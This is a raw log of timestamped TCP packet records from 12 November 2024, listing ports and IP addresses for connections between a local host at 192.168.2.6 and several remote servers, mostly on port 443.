Nov 12, 2024 13:35:24.621840000 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.641040087 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.641057968 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.641139030 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.642628908 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.642731905 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.642772913 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.647511959 CET	51518	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.647530079 CET	443	51518	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.652015924 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.652031898 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.659333944 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.659360886 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.659411907 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.660337925 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.660388947 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.660484076 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.660712004 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.660712004 CET	51519	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.660721064 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.660732031 CET	443	51519	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.665952921 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.665972948 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.674256086 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.674288034 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.674374104 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.674701929 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.674715042 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.747526884 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.747590065 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.747652054 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.752229929 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.752247095 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.752257109 CET	51521	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.752268076 CET	443	51521	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.761104107 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.769315004 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.769335985 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.770097971 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.770103931 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.775378942 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.775398970 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.775717974 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.775882959 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.775896072 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.894037008 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.894085884 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.894156933 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.973144054 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.973157883 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:24.973171949 CET	51520	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:24.973179102 CET	443	51520	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.162216902 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.162245035 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.162307978 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.173101902 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.173116922 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.389899969 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.403815985 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.406981945 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.432779074 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.435852051 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.435861111 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.436459064 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.436465979 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.436923027 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.436959982 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.437361956 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.437366962 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.437597036 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.437632084 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.438196898 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.438208103 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.515156031 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.556001902 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.556014061 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.556492090 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.556495905 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.561683893 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.561690092 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.561948061 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.561983109 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.562009096 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.562041998 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.563478947 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.563524008 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.563584089 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.679697990 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.680130005 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.680202961 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:25.917387962 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:25.965156078 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.318557978 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.318588018 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.319091082 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.319094896 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.319442034 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.319458961 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.319472075 CET	51522	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.319478989 CET	443	51522	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.319917917 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.319917917 CET	51525	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.319941044 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.319952965 CET	443	51525	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.411856890 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.411886930 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.411900997 CET	51523	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.411907911 CET	443	51523	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.442028046 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.442051888 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.442066908 CET	51524	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.442074060 CET	443	51524	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.456960917 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.457092047 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.457144022 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.578749895 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.578768015 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.578782082 CET	51526	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.578787088 CET	443	51526	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.668308973 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.668335915 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.668401957 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.720280886 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.720299006 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.725025892 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.725058079 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.725121021 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.725513935 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.725527048 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.801466942 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:26.801503897 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:26.801578999 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:26.801919937 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:26.801932096 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:26.853532076 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.853564978 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.853637934 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.864938021 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.864957094 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.865014076 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.885108948 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.885127068 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.894880056 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.894901037 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.894953012 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.895271063 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.895282030 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:26.895380974 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:26.895395041 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.071711063 CET	49707	443	192.168.2.6	40.126.32.140
Nov 12, 2024 13:35:27.071839094 CET	49707	443	192.168.2.6	40.126.32.140
Nov 12, 2024 13:35:27.076679945 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.076692104 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.076700926 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.076709986 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.076728106 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.493110895 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.493812084 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.523725033 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.523745060 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.524173021 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.524178982 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.544750929 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.544750929 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.544769049 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.544775963 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.623996973 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.630392075 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.630429983 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.630441904 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.630570889 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.630587101 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.642493963 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.648855925 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.648884058 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.650255919 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.650262117 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.694796085 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.694817066 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.695012093 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.695017099 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.894855976 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.894936085 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.895035028 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.895476103 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.895531893 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.896218061 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.897104979 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897118092 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897197962 CET	49707	443	192.168.2.6	40.126.32.140
Nov 12, 2024 13:35:27.897202969 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.897252083 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.897434950 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.897927046 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897938013 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897947073 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897957087 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897967100 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897977114 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897986889 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.897998095 CET	443	49707	40.126.32.140	192.168.2.6
Nov 12, 2024 13:35:27.898063898 CET	49707	443	192.168.2.6	40.126.32.140
Nov 12, 2024 13:35:27.898065090 CET	49707	443	192.168.2.6	40.126.32.140
Nov 12, 2024 13:35:27.898154974 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.898154974 CET	51527	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.898169994 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.898178101 CET	443	51527	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.900178909 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.900202036 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.900212049 CET	51530	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.900218010 CET	443	51530	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.900465012 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.900465012 CET	51536	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.900485992 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.900496006 CET	443	51536	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.973433018 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.973495007 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.974602938 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.974701881 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.974720001 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.974868059 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.975966930 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.975976944 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.976058006 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.976058006 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.976074934 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.976141930 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.976150990 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:27.976267099 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:27.976279020 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.015741110 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.015945911 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.018083096 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.018126011 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.018214941 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.018218994 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.056622028 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.056622028 CET	51537	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.056632042 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.056643963 CET	443	51537	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.056969881 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.056969881 CET	51538	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.056998014 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.057008982 CET	443	51538	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.066303968 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.066337109 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.066406012 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.085592031 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.085597992 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.085616112 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.085622072 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.085735083 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.145638943 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.145654917 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.152985096 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.203083038 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.203109026 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.204248905 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.204396963 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.216752052 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.216846943 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.217593908 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.217611074 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.279403925 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.460474968 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.572220087 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.572334051 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.697398901 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.706969023 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.710771084 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.774632931 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.815891027 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.820532084 CET	80	49778	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:28.820594072 CET	49778	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:28.840553999 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.842293978 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.886396885 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.896316051 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.896342039 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.896836042 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.896841049 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.897056103 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.897103071 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.897417068 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.897429943 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.897666931 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.897691011 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.898015022 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.898025036 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.901768923 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.901791096 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.902879953 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.902899027 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.906213045 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.906220913 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.907104015 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:28.907109022 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:28.946367025 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.946404934 CET	443	51535	94.245.104.56	192.168.2.6
Nov 12, 2024 13:35:28.946423054 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:28.946465015 CET	51535	443	192.168.2.6	94.245.104.56
Nov 12, 2024 13:35:29.021846056 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.021931887 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.021986961 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.024101019 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.024171114 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.024218082 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.029707909 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.029895067 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.029933929 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.030019045 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.030488968 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.030548096 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.033237934 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.033261061 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.033272982 CET	51542	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.033278942 CET	443	51542	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.034477949 CET	51545	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.034492970 CET	443	51545	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.034861088 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.035144091 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.035187006 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.037549019 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.037563086 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.037575960 CET	51541	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.037578106 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.037581921 CET	443	51541	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.037614107 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.037646055 CET	51544	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.037653923 CET	443	51544	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.045439959 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.045456886 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.045469999 CET	51540	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.045474052 CET	443	51540	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.098901987 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.098947048 CET	443	51549	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.099023104 CET	51549	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.099323034 CET	51550	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:29.099354982 CET	443	51550	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:29.099402905 CET	51550	443	192.168.2.6	13.107.246.45
